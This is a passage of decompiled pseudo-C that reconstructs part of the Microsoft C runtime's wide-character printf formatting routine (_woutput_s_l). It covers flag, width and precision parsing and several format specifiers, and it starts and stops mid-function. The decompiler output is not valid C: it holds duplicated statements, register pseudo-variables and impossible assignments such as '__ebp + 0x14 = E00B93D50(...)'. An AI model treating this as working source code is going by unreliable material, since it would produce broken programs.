																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00B77B58) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0xb77b78) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0xb77b78) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M00B97044))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E00B97150( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0xb9707c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M00B97064))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00B93D50(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00B93D50(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0xb970a4; // 0x68b19003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M00B97090))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push( &M00B77C38);
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L00B7D760();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00B80C60(_t588))) = 0x16;
																						E00B809F0(_t567, _t588, _t672, _t673,  &M00B77C38, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E00B7C650(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E00B805D0(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L00B7D760();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E00B7C650(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00B80C60(_t580))) = 0x16;
																				E00B809F0(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E00B7C650(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E00B971B0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E00B971F0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E00B971B0(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E00B971F0( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E00B7C680(_t674 - 0x40);
																				_t541 = E00B90E50(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00B7C680(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E00B97150( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E00B971B0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0xb97110; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M00B970D4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00B93D50(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0xd121a0; // 0xb775a0
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L00B7DEA0( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E00B7C680(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0xd12188; // 0xddc09d6c
																					E00B849C0(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E00B7C680(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0xd12194; // 0xddc09d6c
																						E00B849C0(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E00B7C680(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0xd12190; // 0xddc09d6c
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E00B805E0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C680(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E00B7C680(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E00B90E50(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00B93D50(__ebp + 0x14);
																			if(E00B97280() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L00B7D760();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00B80C60(__ecx))) = 0x16;
																				__eax = E00B809F0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E00B7C650(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00B93D50(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0xd121a4; // 0xb77590
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0xd121a0; // 0xb775a0
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E00B7C680(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00B91090( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
